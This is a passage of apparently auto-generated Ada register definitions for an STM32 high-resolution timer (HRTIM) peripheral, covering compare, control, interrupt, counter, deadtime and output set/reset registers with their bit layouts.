Reserved_8_31 at 0 range 8 .. 31;
end record;
subtype MCMP1R_MCMP1_Field is HAL.UInt16;
-- Master Timer Compare 1 Register
type MCMP1R_Register is record
-- Master Timer Compare 1 value
MCMP1 : MCMP1R_MCMP1_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for MCMP1R_Register use record
MCMP1 at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype MCMP2R_MCMP2_Field is HAL.UInt16;
-- Master Timer Compare 2 Register
type MCMP2R_Register is record
-- Master Timer Compare 2 value
MCMP2 : MCMP2R_MCMP2_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for MCMP2R_Register use record
MCMP2 at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype MCMP3R_MCMP3_Field is HAL.UInt16;
-- Master Timer Compare 3 Register
type MCMP3R_Register is record
-- Master Timer Compare 3 value
MCMP3 : MCMP3R_MCMP3_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for MCMP3R_Register use record
MCMP3 at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype MCMP4R_MCMP4_Field is HAL.UInt16;
-- Master Timer Compare 4 Register
type MCMP4R_Register is record
-- Master Timer Compare 4 value
MCMP4 : MCMP4R_MCMP4_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for MCMP4R_Register use record
MCMP4 at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype TIMACR_CKPSCx_Field is HAL.UInt3;
-- TIMACR_DELCMP array element
subtype TIMACR_DELCMP_Element is HAL.UInt2;
-- TIMACR_DELCMP array
type TIMACR_DELCMP_Field_Array is array (2 .. 3) of TIMACR_DELCMP_Element
with Component_Size => 2, Size => 4;
-- Type definition for TIMACR_DELCMP
type TIMACR_DELCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- DELCMP as a value
Val : HAL.UInt4;
when True =>
-- DELCMP as an array
Arr : TIMACR_DELCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for TIMACR_DELCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
subtype TIMACR_DACSYNC_Field is HAL.UInt2;
subtype TIMACR_UPDGAT_Field is HAL.UInt4;
-- Timerx Control Register
type TIMACR_Register is record
-- HRTIM Timer x Clock prescaler
CKPSCx : TIMACR_CKPSCx_Field := 16#0#;
-- Continuous mode
CONT : Boolean := False;
-- Re-triggerable mode
RETRIG : Boolean := False;
-- Half mode enable
HALF : Boolean := False;
-- Push-Pull mode enable
PSHPLL : Boolean := False;
-- unspecified
Reserved_7_9 : HAL.UInt3 := 16#0#;
-- Synchronization Resets Timer x
SYNCRSTx : Boolean := False;
-- Synchronization Starts Timer x
SYNCSTRTx : Boolean := False;
-- Delayed CMP2 mode
DELCMP : TIMACR_DELCMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_16 : HAL.Bit := 16#0#;
-- Timer x Repetition update
TxREPU : Boolean := False;
-- Timerx reset update
TxRSTU : Boolean := False;
-- unspecified
Reserved_19_19 : HAL.Bit := 16#0#;
-- TBU
TBU : Boolean := False;
-- TCU
TCU : Boolean := False;
-- TDU
TDU : Boolean := False;
-- TEU
TEU : Boolean := False;
-- Master Timer update
MSTU : Boolean := False;
-- AC Synchronization
DACSYNC : TIMACR_DACSYNC_Field := 16#0#;
-- Preload enable
PREEN : Boolean := False;
-- Update Gating
UPDGAT : TIMACR_UPDGAT_Field := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMACR_Register use record
CKPSCx at 0 range 0 .. 2;
CONT at 0 range 3 .. 3;
RETRIG at 0 range 4 .. 4;
HALF at 0 range 5 .. 5;
PSHPLL at 0 range 6 .. 6;
Reserved_7_9 at 0 range 7 .. 9;
SYNCRSTx at 0 range 10 .. 10;
SYNCSTRTx at 0 range 11 .. 11;
DELCMP at 0 range 12 .. 15;
Reserved_16_16 at 0 range 16 .. 16;
TxREPU at 0 range 17 .. 17;
TxRSTU at 0 range 18 .. 18;
Reserved_19_19 at 0 range 19 .. 19;
TBU at 0 range 20 .. 20;
TCU at 0 range 21 .. 21;
TDU at 0 range 22 .. 22;
TEU at 0 range 23 .. 23;
MSTU at 0 range 24 .. 24;
DACSYNC at 0 range 25 .. 26;
PREEN at 0 range 27 .. 27;
UPDGAT at 0 range 28 .. 31;
end record;
-- TIMAISR_CMP array
type TIMAISR_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for TIMAISR_CMP
type TIMAISR_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : TIMAISR_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for TIMAISR_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- TIMAISR_CPT array
type TIMAISR_CPT_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for TIMAISR_CPT
type TIMAISR_CPT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CPT as a value
Val : HAL.UInt2;
when True =>
-- CPT as an array
Arr : TIMAISR_CPT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for TIMAISR_CPT_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- Timerx Interrupt Status Register
type TIMAISR_Register is record
-- Read-only. Compare 1 Interrupt Flag
CMP : TIMAISR_CMP_Field;
-- Read-only. Repetition Interrupt Flag
REP : Boolean;
-- unspecified
Reserved_5_5 : HAL.Bit;
-- Read-only. Update Interrupt Flag
UPD : Boolean;
-- Read-only. Capture1 Interrupt Flag
CPT : TIMAISR_CPT_Field;
-- Read-only. Output 1 Set Interrupt Flag
SETx1 : Boolean;
-- Read-only. Output 1 Reset Interrupt Flag
RSTx1 : Boolean;
-- Read-only. Output 2 Set Interrupt Flag
SETx2 : Boolean;
-- Read-only. Output 2 Reset Interrupt Flag
RSTx2 : Boolean;
-- Read-only. Reset Interrupt Flag
RST : Boolean;
-- Read-only. Delayed Protection Flag
DLYPRT : Boolean;
-- unspecified
Reserved_15_15 : HAL.Bit;
-- Read-only. Current Push Pull Status
CPPSTAT : Boolean;
-- Read-only. Idle Push Pull Status
IPPSTAT : Boolean;
-- Read-only. Output 1 State
O1STAT : Boolean;
-- Read-only. Output 2 State
O2STAT : Boolean;
-- unspecified
Reserved_20_31 : HAL.UInt12;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMAISR_Register use record
CMP at 0 range 0 .. 3;
REP at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPD at 0 range 6 .. 6;
CPT at 0 range 7 .. 8;
SETx1 at 0 range 9 .. 9;
RSTx1 at 0 range 10 .. 10;
SETx2 at 0 range 11 .. 11;
RSTx2 at 0 range 12 .. 12;
RST at 0 range 13 .. 13;
DLYPRT at 0 range 14 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
CPPSTAT at 0 range 16 .. 16;
IPPSTAT at 0 range 17 .. 17;
O1STAT at 0 range 18 .. 18;
O2STAT at 0 range 19 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
-- Timerx Interrupt Clear Register
type TIMAICR_Register is record
-- Write-only. Compare 1 Interrupt flag Clear
CMP1C : Boolean := False;
-- Write-only. Compare 2 Interrupt flag Clear
CMP2C : Boolean := False;
-- Write-only. Compare 3 Interrupt flag Clear
CMP3C : Boolean := False;
-- Write-only. Compare 4 Interrupt flag Clear
CMP4C : Boolean := False;
-- Write-only. Repetition Interrupt flag Clear
REPC : Boolean := False;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- Write-only. Update Interrupt flag Clear
UPDC : Boolean := False;
-- Write-only. Capture1 Interrupt flag Clear
CPT1C : Boolean := False;
-- Write-only. Capture2 Interrupt flag Clear
CPT2C : Boolean := False;
-- Write-only. Output 1 Set flag Clear
SET1xC : Boolean := False;
-- Write-only. Output 1 Reset flag Clear
RSTx1C : Boolean := False;
-- Write-only. Output 2 Set flag Clear
SET2xC : Boolean := False;
-- Write-only. Output 2 Reset flag Clear
RSTx2C : Boolean := False;
-- Write-only. Reset Interrupt flag Clear
RSTC : Boolean := False;
-- Write-only. Delayed Protection Flag Clear
DLYPRTC : Boolean := False;
-- unspecified
Reserved_15_31 : HAL.UInt17 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMAICR_Register use record
CMP1C at 0 range 0 .. 0;
CMP2C at 0 range 1 .. 1;
CMP3C at 0 range 2 .. 2;
CMP4C at 0 range 3 .. 3;
REPC at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPDC at 0 range 6 .. 6;
CPT1C at 0 range 7 .. 7;
CPT2C at 0 range 8 .. 8;
SET1xC at 0 range 9 .. 9;
RSTx1C at 0 range 10 .. 10;
SET2xC at 0 range 11 .. 11;
RSTx2C at 0 range 12 .. 12;
RSTC at 0 range 13 .. 13;
DLYPRTC at 0 range 14 .. 14;
Reserved_15_31 at 0 range 15 .. 31;
end record;
-- TIMxDIER
type TIMADIER_Register is record
-- CMP1IE
CMP1IE : Boolean := False;
-- CMP2IE
CMP2IE : Boolean := False;
-- CMP3IE
CMP3IE : Boolean := False;
-- CMP4IE
CMP4IE : Boolean := False;
-- REPIE
REPIE : Boolean := False;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- UPDIE
UPDIE : Boolean := False;
-- CPT1IE
CPT1IE : Boolean := False;
-- CPT2IE
CPT2IE : Boolean := False;
-- SET1xIE
SET1xIE : Boolean := False;
-- RSTx1IE
RSTx1IE : Boolean := False;
-- SETx2IE
SETx2IE : Boolean := False;
-- RSTx2IE
RSTx2IE : Boolean := False;
-- RSTIE
RSTIE : Boolean := False;
-- DLYPRTIE
DLYPRTIE : Boolean := False;
-- unspecified
Reserved_15_15 : HAL.Bit := 16#0#;
-- CMP1DE
CMP1DE : Boolean := False;
-- CMP2DE
CMP2DE : Boolean := False;
-- CMP3DE
CMP3DE : Boolean := False;
-- CMP4DE
CMP4DE : Boolean := False;
-- REPDE
REPDE : Boolean := False;
-- unspecified
Reserved_21_21 : HAL.Bit := 16#0#;
-- UPDDE
UPDDE : Boolean := False;
-- CPT1DE
CPT1DE : Boolean := False;
-- CPT2DE
CPT2DE : Boolean := False;
-- SET1xDE
SET1xDE : Boolean := False;
-- RSTx1DE
RSTx1DE : Boolean := False;
-- SETx2DE
SETx2DE : Boolean := False;
-- RSTx2DE
RSTx2DE : Boolean := False;
-- RSTDE
RSTDE : Boolean := False;
-- DLYPRTDE
DLYPRTDE : Boolean := False;
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMADIER_Register use record
CMP1IE at 0 range 0 .. 0;
CMP2IE at 0 range 1 .. 1;
CMP3IE at 0 range 2 .. 2;
CMP4IE at 0 range 3 .. 3;
REPIE at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPDIE at 0 range 6 .. 6;
CPT1IE at 0 range 7 .. 7;
CPT2IE at 0 range 8 .. 8;
SET1xIE at 0 range 9 .. 9;
RSTx1IE at 0 range 10 .. 10;
SETx2IE at 0 range 11 .. 11;
RSTx2IE at 0 range 12 .. 12;
RSTIE at 0 range 13 .. 13;
DLYPRTIE at 0 range 14 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
CMP1DE at 0 range 16 .. 16;
CMP2DE at 0 range 17 .. 17;
CMP3DE at 0 range 18 .. 18;
CMP4DE at 0 range 19 .. 19;
REPDE at 0 range 20 .. 20;
Reserved_21_21 at 0 range 21 .. 21;
UPDDE at 0 range 22 .. 22;
CPT1DE at 0 range 23 .. 23;
CPT2DE at 0 range 24 .. 24;
SET1xDE at 0 range 25 .. 25;
RSTx1DE at 0 range 26 .. 26;
SETx2DE at 0 range 27 .. 27;
RSTx2DE at 0 range 28 .. 28;
RSTDE at 0 range 29 .. 29;
DLYPRTDE at 0 range 30 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype CNTAR_CNTx_Field is HAL.UInt16;
-- Timerx Counter Register
type CNTAR_Register is record
-- Timerx Counter value
CNTx : CNTAR_CNTx_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CNTAR_Register use record
CNTx at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype PERAR_PERx_Field is HAL.UInt16;
-- Timerx Period Register
type PERAR_Register is record
-- Timerx Period value
PERx : PERAR_PERx_Field := 16#FFFF#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for PERAR_Register use record
PERx at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype REPAR_REPx_Field is HAL.UInt8;
-- Timerx Repetition Register
type REPAR_Register is record
-- Timerx Repetition counter value
REPx : REPAR_REPx_Field := 16#0#;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for REPAR_Register use record
REPx at 0 range 0 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
subtype CMP1AR_CMP1x_Field is HAL.UInt16;
-- Timerx Compare 1 Register
type CMP1AR_Register is record
-- Timerx Compare 1 value
CMP1x : CMP1AR_CMP1x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP1AR_Register use record
CMP1x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CMP1CAR_CMP1x_Field is HAL.UInt16;
subtype CMP1CAR_REPx_Field is HAL.UInt8;
-- Timerx Compare 1 Compound Register
type CMP1CAR_Register is record
-- Timerx Compare 1 value
CMP1x : CMP1CAR_CMP1x_Field := 16#0#;
-- Timerx Repetition value (aliased from HRTIM_REPx register)
REPx : CMP1CAR_REPx_Field := 16#0#;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP1CAR_Register use record
CMP1x at 0 range 0 .. 15;
REPx at 0 range 16 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
subtype CMP2AR_CMP2x_Field is HAL.UInt16;
-- Timerx Compare 2 Register
type CMP2AR_Register is record
-- Timerx Compare 2 value
CMP2x : CMP2AR_CMP2x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP2AR_Register use record
CMP2x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CMP3AR_CMP3x_Field is HAL.UInt16;
-- Timerx Compare 3 Register
type CMP3AR_Register is record
-- Timerx Compare 3 value
CMP3x : CMP3AR_CMP3x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP3AR_Register use record
CMP3x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CMP4AR_CMP4x_Field is HAL.UInt16;
-- Timerx Compare 4 Register
type CMP4AR_Register is record
-- Timerx Compare 4 value
CMP4x : CMP4AR_CMP4x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP4AR_Register use record
CMP4x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CPT1AR_CPT1x_Field is HAL.UInt16;
-- Timerx Capture 1 Register
type CPT1AR_Register is record
-- Read-only. Timerx Capture 1 value
CPT1x : CPT1AR_CPT1x_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT1AR_Register use record
CPT1x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CPT2AR_CPT2x_Field is HAL.UInt16;
-- Timerx Capture 2 Register
type CPT2AR_Register is record
-- Read-only. Timerx Capture 2 value
CPT2x : CPT2AR_CPT2x_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT2AR_Register use record
CPT2x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype DTAR_DTRx_Field is HAL.UInt9;
subtype DTAR_DTPRSC_Field is HAL.UInt3;
subtype DTAR_DTFx_Field is HAL.UInt9;
-- Timerx Deadtime Register
type DTAR_Register is record
-- Deadtime Rising value
DTRx : DTAR_DTRx_Field := 16#0#;
-- Sign Deadtime Rising value
SDTRx : Boolean := False;
-- Deadtime Prescaler
DTPRSC : DTAR_DTPRSC_Field := 16#0#;
-- unspecified
Reserved_13_13 : HAL.Bit := 16#0#;
-- Deadtime Rising Sign Lock
DTRSLKx : Boolean := False;
-- Deadtime Rising Lock
DTRLKx : Boolean := False;
-- Deadtime Falling value
DTFx : DTAR_DTFx_Field := 16#0#;
-- Sign Deadtime Falling value
SDTFx : Boolean := False;
-- unspecified
Reserved_26_29 : HAL.UInt4 := 16#0#;
-- Deadtime Falling Sign Lock
DTFSLKx : Boolean := False;
-- Deadtime Falling Lock
DTFLKx : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for DTAR_Register use record
DTRx at 0 range 0 .. 8;
SDTRx at 0 range 9 .. 9;
DTPRSC at 0 range 10 .. 12;
Reserved_13_13 at 0 range 13 .. 13;
DTRSLKx at 0 range 14 .. 14;
DTRLKx at 0 range 15 .. 15;
DTFx at 0 range 16 .. 24;
SDTFx at 0 range 25 .. 25;
Reserved_26_29 at 0 range 26 .. 29;
DTFSLKx at 0 range 30 .. 30;
DTFLKx at 0 range 31 .. 31;
end record;
-- SETA1R_CMP array
type SETA1R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETA1R_CMP
type SETA1R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : SETA1R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETA1R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETA1R_MSTCMP array
type SETA1R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETA1R_MSTCMP
type SETA1R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : SETA1R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETA1R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETA1R_TIMEVNT array
type SETA1R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for SETA1R_TIMEVNT
type SETA1R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : SETA1R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for SETA1R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- SETA1R_EXTEVNT array
type SETA1R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for SETA1R_EXTEVNT
type SETA1R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : SETA1R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for SETA1R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output1 Set Register
type SETA1R_Register is record
-- Software Set trigger
SST : Boolean := False;
-- Timer A resynchronizaton
RESYNC : Boolean := False;
-- Timer A Period
PER : Boolean := False;
-- Timer A compare 1
CMP : SETA1R_CMP_Field := (As_Array => False, Val => 16#0#);
-- Master Period
MSTPER : Boolean := False;
-- Master Compare 1
MSTCMP : SETA1R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- Timer Event 1
TIMEVNT : SETA1R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- External Event 1
EXTEVNT : SETA1R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- Registers update (transfer preload to active)
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SETA1R_Register use record
SST at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- RSTA1R_CMP array
type RSTA1R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTA1R_CMP
type RSTA1R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : RSTA1R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTA1R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTA1R_MSTCMP array
type RSTA1R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTA1R_MSTCMP
type RSTA1R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTA1R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTA1R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTA1R_TIMEVNT array
type RSTA1R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for RSTA1R_TIMEVNT
type RSTA1R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : RSTA1R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for RSTA1R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- RSTA1R_EXTEVNT array
type RSTA1R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTA1R_EXTEVNT
type RSTA1R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTA1R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTA1R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output1 Reset Register
type RSTA1R_Register is record
-- SRT
SRT : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : RSTA1R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : RSTA1R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : RSTA1R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : RSTA1R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTA1R_Register use record
SRT at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- SETA2R_CMP array
type SETA2R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETA2R_CMP
type SETA2R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : SETA2R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETA2R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETA2R_MSTCMP array
type SETA2R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETA2R_MSTCMP
type SETA2R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : SETA2R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETA2R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETA2R_TIMEVNT array
type SETA2R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for SETA2R_TIMEVNT
type SETA2R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : SETA2R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for SETA2R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- SETA2R_EXTEVNT array
type SETA2R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for SETA2R_EXTEVNT
type SETA2R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : SETA2R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for SETA2R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output2 Set Register
type SETA2R_Register is record
-- SST
SST : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : SETA2R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : SETA2R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : SETA2R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : SETA2R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SETA2R_Register use record
SST at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- RSTA2R_CMP array
type RSTA2R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTA2R_CMP
type RSTA2R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : RSTA2R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTA2R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTA2R_MSTCMP array
type RSTA2R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
